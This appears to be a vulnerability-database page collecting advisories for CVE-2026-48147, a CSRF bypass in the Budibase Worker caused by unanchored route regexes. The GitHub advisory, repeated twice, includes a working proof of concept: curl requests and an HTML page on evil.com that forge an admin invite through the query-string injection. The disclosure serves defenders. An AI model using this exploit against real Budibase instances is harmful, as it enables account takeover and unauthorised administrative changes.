Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker
cve-program · CVE-2026-48147
PublishedBudibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.
Read the publisher's advisoryeuvd · EUVD-2026-32606
PublishedBudibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.
Read the publisher's advisorynvd · CVE-2026-48147
PublishedBudibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.
Read the publisher's advisoryosv · GHSA-wxq7-x3qp-vcr8
Published### Summary The `buildMatcherRegex()` / `matches()` functions in `packages/backend-core/src/middleware/matchers.ts` share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into **unanchored regular expressions** and tested against `ctx.request.url`, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. CVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in `server/middleware/utils.ts` but left `backend-core/middleware/matchers.ts` untouched. --- ### Details **Root cause — `packages/backend-core/src/middleware/matchers.ts`:** ```typescript export const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => { return patterns.map(pattern => { let route = pattern.route // replaces :param segments with /.* const matches = route.match(PARAM_REGEX) if (matches) { for (let match of matches) { const suffix = match.endsWith("/") ? "/" : "" route = route.replace(match, "/.*" + suffix) } } return { regex: new RegExp(route), method, route } // ^ no ^ anchor, no $ anchor — matches anywhere in string }) } export const matches = (ctx: Ctx, options: RegexMatcher[]) => { return options.find(({ regex, method }) => { const urlMatch = regex.test(ctx.request.url) // full URL including query string const methodMatch = method === "ALL" ? true : ctx.request.method.toLowerCase() === method.toLowerCase() return urlMatch && methodMatch }) } ``` Two compounding bugs identical to the patched CVE: 1. `new RegExp(route)` — no `^` start anchor, no `$` end anchor. 2. `ctx.request.url` — full URL string including `?query=value`, not just the path. --- **CSRF middleware — `packages/backend-core/src/middleware/csrf.ts`:** ```typescript export function csrf( opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] } ) { const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns) return (async (ctx: Ctx, next: Next) => { const found = matches(ctx, noCsrfOptions) if (found) { return next() // <-- CSRF check entirely skipped when pattern matches } // ... CSRF token validation ... }) as Middleware } ``` --- **Worker registration — `packages/worker/src/api/index.ts`:** ```typescript const NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS] // PUBLIC_ENDPOINTS includes (among others): // { route: "/api/global/auth/:tenantId", method: "POST" } // { route: "/api/global/users/init", method: "POST" } // { route: "/api/system/restored", method: "POST" } router .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS })) ``` `buildMatcherRegex` compiles `"/api/global/auth/:tenantId"` into the regex `/api/global/auth/.*` (via PARAM_REGEX replacing `/:tenantId` → `/.*`). Since the regex is unanchored, it matches the substring `"/api/global/auth/"` **anywhere** in `ctx.request.url` — including inside a query string parameter on a completely different endpoint. **Triggering condition:** ``` POST /api/global/users/invite?x=/api/global/auth/evil ``` - `ctx.request.url` = `"/api/global/users/invite?x=/api/global/auth/evil"` - `new RegExp("/api/global/auth/.*").test(ctx.request.url)` → `true` (substring found in query string) - `ctx.request.method === "POST"` → `true` - `matches()` returns the pattern entry → CSRF skipped - The protected user-invite POST proceeds without any CSRF token --- **Additional affected middleware (same `matches()` call):** | Middleware | Pattern list | Security effect when bypassed | |---|---|---| | `csrf()` | `NO_CSRF_ENDPOINTS` | CSRF token validation skipped | | `tenancy()` | `NO_TENANCY_ENDPOINTS` | `allowNoTenant = true`, bypasses tenant ID requirement | | `authenticated()` | `PUBLIC_ENDPOINTS` | Marks endpoint as `publicEndpoint = true` | The `NO_TENANCY_ENDPOINTS` entry `{ route: "/api/system", method: "ALL" }` compiles to `/api/system` (no param replacement). Since `method: "ALL"` matches every HTTP verb and the pattern is unanchored, any request with `?x=/api/system/x` in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments. --- ### PoC **Prerequisites:** Victim user is logged into a Budibase Worker instance (e.g., `https://budibase.target.com`) in their browser. Attacker hosts a page at `https://evil.com`. **Step 1 — Verify CSRF is normally enforced:** ```bash # Without the bypass — CSRF token missing → rejected curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 403 CSRF token mismatch ``` **Step 2 — CSRF bypass via query string injection:** ```bash # With the bypass — append a public-route pattern in the query string curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 200 OK — invite created, no CSRF token required ``` **Step 3 — Cross-site exploitation (victim visits attacker page):** ```html <!-- https://evil.com/csrf.html --> <html> <body> <script> fetch( 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: '[email protected]', roleId: 'ADMIN', userInfo: {} }) } ) .then(r => r.json()) .then(d => console.log('Invite sent:', d)) </script> </body> </html> ``` When the authenticated victim visits `https://evil.com/csrf.html`, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches `/api/global/auth/.*` in the query string, skips validation, and processes the admin invite. --- ### Impact An unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include: - **User management**: send admin/operator invites, delete users, modify roles - **Global configuration**: update authentication settings (SSO, OIDC, SMTP), change branding - **Tenant administration**: in multi-tenant instances, tenant isolation bypass via `NO_TENANCY_ENDPOINTS` (`/api/system` match) combined with the CSRF bypass allows cross-tenant administrative actions The vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version **3.32.3**, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in `packages/backend-core/src/middleware/matchers.ts`, which was not addressed by the patch for that CVE.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-48147
PublishedBudibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker
Budibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.
- Source published
- 27 May 2026 17:14:17 UTC
- Source modified
- 27 May 2026 18:32:17 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
euvd · EUVD-2026-32606
PublishedBudibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested agai…
Budibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: May 27, 2026, 5:14:17 PM
dateUpdated: May 27, 2026, 6:32:17 PM
1 related source bulletins · separate from aliases
WID-SEC-W-2026-1629: Budibase: Mehrere Schwachstellen
CVE-2026-48128 · CVE-2026-48146 · CVE-2026-48147 · CVE-2026-48148 · CVE-2026-48149 · CVE-2026-48150 · CVE-2026-48151 · CVE-2026-48152 · CVE-2026-48153
- Source published
- May 27, 2026, 5:14:17 PM (timezone not stated)
- Source modified
- May 27, 2026, 6:32:17 PM (timezone not stated)
- Saved here
- 13 Nov 2026 13:58:52 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
nvd · CVE-2026-48147
PublishedBudibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested agai…
Budibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-185 · CWE-352
Original publisher date fields
published: 2026-05-27T18:16:27.063
lastModified: 2026-06-17T10:54:53.503
- Source published
- 27 May 2026 18:16:27 UTC
- Source modified
- 17 Jun 2026 10:54:53 UTC
- Saved here
- 25 Oct 2026 12:17:32 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
osv · GHSA-wxq7-x3qp-vcr8
PublishedBudibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker
### Summary The `buildMatcherRegex()` / `matches()` functions in `packages/backend-core/src/middleware/matchers.ts` share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into **unanchored regular expressions** and tested against `ctx.request.url`, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. CVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in `server/middleware/utils.ts` but left `backend-core/middleware/matchers.ts` untouched. --- ### Details **Root cause — `packages/backend-core/src/middleware/matchers.ts`:** ```typescript export const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => { return patterns.map(pattern => { let route = pattern.route // replaces :param segments with /.* const matches = route.match(PARAM_REGEX) if (matches) { for (let match of matches) { const suffix = match.endsWith("/") ? "/" : "" route = route.replace(match, "/.*" + suffix) } } return { regex: new RegExp(route), method, route } // ^ no ^ anchor, no $ anchor — matches anywhere in string }) } export const matches = (ctx: Ctx, options: RegexMatcher[]) => { return options.find(({ regex, method }) => { const urlMatch = regex.test(ctx.request.url) // full URL including query string const methodMatch = method === "ALL" ? true : ctx.request.method.toLowerCase() === method.toLowerCase() return urlMatch && methodMatch }) } ``` Two compounding bugs identical to the patched CVE: 1. `new RegExp(route)` — no `^` start anchor, no `$` end anchor. 2. `ctx.request.url` — full URL string including `?query=value`, not just the path. --- **CSRF middleware — `packages/backend-core/src/middleware/csrf.ts`:** ```typescript export function csrf( opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] } ) { const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns) return (async (ctx: Ctx, next: Next) => { const found = matches(ctx, noCsrfOptions) if (found) { return next() // <-- CSRF check entirely skipped when pattern matches } // ... CSRF token validation ... }) as Middleware } ``` --- **Worker registration — `packages/worker/src/api/index.ts`:** ```typescript const NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS] // PUBLIC_ENDPOINTS includes (among others): // { route: "/api/global/auth/:tenantId", method: "POST" } // { route: "/api/global/users/init", method: "POST" } // { route: "/api/system/restored", method: "POST" } router .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS })) ``` `buildMatcherRegex` compiles `"/api/global/auth/:tenantId"` into the regex `/api/global/auth/.*` (via PARAM_REGEX replacing `/:tenantId` → `/.*`). Since the regex is unanchored, it matches the substring `"/api/global/auth/"` **anywhere** in `ctx.request.url` — including inside a query string parameter on a completely different endpoint. **Triggering condition:** ``` POST /api/global/users/invite?x=/api/global/auth/evil ``` - `ctx.request.url` = `"/api/global/users/invite?x=/api/global/auth/evil"` - `new RegExp("/api/global/auth/.*").test(ctx.request.url)` → `true` (substring found in query string) - `ctx.request.method === "POST"` → `true` - `matches()` returns the pattern entry → CSRF skipped - The protected user-invite POST proceeds without any CSRF token --- **Additional affected middleware (same `matches()` call):** | Middleware | Pattern list | Security effect when bypassed | |---|---|---| | `csrf()` | `NO_CSRF_ENDPOINTS` | CSRF token validation skipped | | `tenancy()` | `NO_TENANCY_ENDPOINTS` | `allowNoTenant = true`, bypasses tenant ID requirement | | `authenticated()` | `PUBLIC_ENDPOINTS` | Marks endpoint as `publicEndpoint = true` | The `NO_TENANCY_ENDPOINTS` entry `{ route: "/api/system", method: "ALL" }` compiles to `/api/system` (no param replacement). Since `method: "ALL"` matches every HTTP verb and the pattern is unanchored, any request with `?x=/api/system/x` in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments. --- ### PoC **Prerequisites:** Victim user is logged into a Budibase Worker instance (e.g., `https://budibase.target.com`) in their browser. Attacker hosts a page at `https://evil.com`. **Step 1 — Verify CSRF is normally enforced:** ```bash # Without the bypass — CSRF token missing → rejected curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 403 CSRF token mismatch ``` **Step 2 — CSRF bypass via query string injection:** ```bash # With the bypass — append a public-route pattern in the query string curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 200 OK — invite created, no CSRF token required ``` **Step 3 — Cross-site exploitation (victim visits attacker page):** ```html <!-- https://evil.com/csrf.html --> <html> <body> <script> fetch( 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: '[email protected]', roleId: 'ADMIN', userInfo: {} }) } ) .then(r => r.json()) .then(d => console.log('Invite sent:', d)) </script> </body> </html> ``` When the authenticated victim visits `https://evil.com/csrf.html`, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches `/api/global/auth/.*` in the query string, skips validation, and processes the admin invite. --- ### Impact An unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include: - **User management**: send admin/operator invites, delete users, modify roles - **Global configuration**: update authentication settings (SSO, OIDC, SMTP), change branding - **Tenant administration**: in multi-tenant instances, tenant isolation bypass via `NO_TENANCY_ENDPOINTS` (`/api/system` match) combined with the CSRF bypass allows cross-tenant administrative actions The vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version **3.32.3**, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in `packages/backend-core/src/middleware/matchers.ts`, which was not addressed by the patch for that CVE.
- Source published
- 12 Jun 2026 18:23:41 UTC
- Source modified
- 10 Sep 2026 03:50:50 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Publisher rating · MODERATE